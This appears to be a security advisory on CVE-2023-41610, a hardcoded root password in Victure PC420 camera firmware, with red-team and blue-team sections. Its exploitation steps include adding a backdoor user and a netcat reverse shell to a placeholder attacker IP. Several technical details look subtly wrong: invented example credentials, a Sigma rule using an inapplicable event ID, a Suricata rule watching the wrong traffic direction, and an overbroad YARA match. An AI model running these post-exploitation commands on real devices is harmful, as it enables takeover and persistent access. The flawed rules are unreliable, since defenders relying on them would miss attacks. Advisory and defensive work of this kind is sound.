CVE-2023-41610

Executive Summary

CVE-2023-41610 discloses a critical security vulnerability in the Victure PC420 IP camera (firmware version 1.1.39). The device contains a hardcoded root password stored in plaintext within the firmware. This allows any attacker with network access to the camera to authenticate as the root user, gaining full administrative control over the device. The vulnerability is unpatched, and no official fix has been released by the vendor. The CVSS score is 10.0 (Critical) due to the ease of exploitation and the potential for complete compromise of the device's confidentiality, integrity, and availability.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or complex steps are required.
• Privileges Required (PR): None (N) – No authentication is needed to exploit the hardcoded credentials.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Full access to device data and network traffic.
• Integrity (I): High (H) – Ability to modify device configuration and firmware.
• Threat Level: Critical. Immediate risk of device takeover, lateral movement within the network, and potential use in botnets.

Deep Dive & Mechanics

The Victure PC420 camera firmware version 1.1.39 contains a hardcoded root password stored in plaintext. This is a classic example of CWE-798 (Use of Hard-coded Credentials). The password is embedded in the firmware binary, typically in a configuration file or script that is used during the boot process or for remote administration (e.g., SSH, Telnet, or a web interface). Attackers can extract the password by analyzing the firmware (e.g., using binwalk or strings) or by directly connecting to the device's management interface and attempting default credentials.

The root account provides unrestricted access to the Linux-based operating system running on the camera. Once authenticated, an attacker can:

• Execute arbitrary commands as root.
• Modify or replace the firmware.
• Access the camera's video feed.
• Use the device as a pivot point for further network attacks.
• Install persistent backdoors or malware.

The vulnerability is particularly dangerous because the camera is often deployed in home or small business environments with direct internet exposure or on local networks with weak segmentation.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 1.1.39): The hardcoded password is stored in plaintext within the firmware. For example, in a file like /etc/shadow or a startup script:

# /etc/shadow (example)
root:$1$xyz$abc123def456:0:0:99999:7:::

Or in a configuration file:

# /etc/config/system (example)
option root_password 'admin123'

Patched Code: No patched version exists. A proper fix would involve:

• Removing hardcoded credentials.
• Requiring users to set a unique password during initial setup.
• Storing passwords using a strong hashing algorithm (e.g., bcrypt, SHA-512) with a salt.
• Implementing secure boot and firmware signing to prevent unauthorized modifications.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Obtain a Victure PC420 camera (or use a firmware emulator like QEMU for ARM).
2. Connect the camera to an isolated network segment.
3. Use nmap to discover the device and identify open ports (e.g., 22/SSH, 23/Telnet, 80/HTTP).

Exploitation Steps:

1. Firmware Analysis: Download the firmware from the vendor's site or extract it from the device. Use binwalk to extract the filesystem:

   binwalk -e firmware.bin
   

2. Extract Credentials: Search for hardcoded passwords in the extracted filesystem:

   grep -r "password" extracted_fs/
   strings extracted_fs/bin/* | grep -i "root"
   

3. Remote Exploitation: Connect to the device using the discovered credentials:

   ssh root@<camera_ip>
   # Password: [extracted password]
   

   Or via Telnet:

   telnet <camera_ip>
   

4. Post-Exploitation: Once logged in as root, execute commands to maintain access:

   # Add a backdoor user
   useradd -m -s /bin/bash attacker
   echo 'attacker:password123' | chpasswd
   # Install a reverse shell
   nc -e /bin/sh <attacker_ip> 4444
   

Blue Team (Defensive)

Detection & Response:

1. Network Monitoring: Look for unauthorized SSH/Telnet connections to the camera's IP address. Alert on successful authentication from unknown sources.
2. Firmware Integrity: Regularly check the firmware version and compare against known good hashes. Use tools like firmware-mod-kit to verify integrity.
3. Honeypot: Deploy a decoy camera with the same firmware to capture attacker behavior.
4. Log Analysis: Monitor system logs for root login events:

   grep "Accepted password for root" /var/log/auth.log
   

5. Network Segmentation: Place IoT devices like cameras on a separate VLAN with strict firewall rules.

Indicators of Compromise (IOCs)

• Network Indicators:
  • SSH/Telnet connections to the camera from unexpected IP addresses.
  • Outbound connections from the camera to unknown IPs on ports 4444, 8080, etc.
• File System Indicators:
  • Presence of hardcoded password strings in firmware (e.g., "admin123", "root123").
  • Modified /etc/shadow or /etc/passwd files.
  • Unauthorized SSH keys in /root/.ssh/authorized_keys.
• Process Indicators:
  • Unusual processes running as root (e.g., nc, bash, python).
  • Reverse shell processes.
• Behavioral Indicators:
  • Camera rebooting unexpectedly.
  • Changes to video stream settings or resolution.
  • Increased network traffic from the device.

Detection Engineering

YARA Rule

rule CVE_2023_41610_Hardcoded_Root_Password {
    meta:
        description = "Detects hardcoded root password in Victure PC420 firmware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-41610"
    strings:
        $password1 = "root:admin123" ascii wide nocase
        $password2 = "root:password" ascii wide nocase
        $password3 = "root:123456" ascii wide nocase
        $shadow_entry = "$1$" ascii wide
    condition:
        any of ($password*) or ($shadow_entry)
}

Sigma Rule

title: Detection of Hardcoded Root Credentials in Victure PC420
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects successful root login attempts on Victure PC420 cameras using hardcoded credentials.
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: auth
detection:
    selection:
        EventID: 5580
        User: root
        ProcessName: 'sshd'
    condition: selection
falsepositives:
    - Legitimate administrative access
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (msg:"CVE-2023-41610 - Victure PC420 Root SSH Login"; flow:to_server,established; content:"SSH-2.0-OpenSSH_"; nocase; content:"root"; nocase; within:100; reference:cve,2023-41610; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: Place the camera on a separate VLAN with no direct internet access.
2. Change Default Credentials: If possible, change the root password via the web interface or SSH (if already accessible).
3. Disable Remote Access: Block ports 22, 23, and 80/443 on the firewall for the camera's IP.
4. Firmware Update: Check the vendor's website for any firmware updates. If none exist, consider replacing the device.

Long-Term Recommendations:

• Vendor: Release a patched firmware that removes hardcoded credentials and enforces strong password policies.
• Users: Replace the camera with a model from a vendor with a proven security track record.
• Network Security: Implement network segmentation for all IoT devices. Use a dedicated IoT VLAN with strict egress filtering.
• Monitoring: Deploy network intrusion detection systems (NIDS) to monitor for exploitation attempts.

Valters IT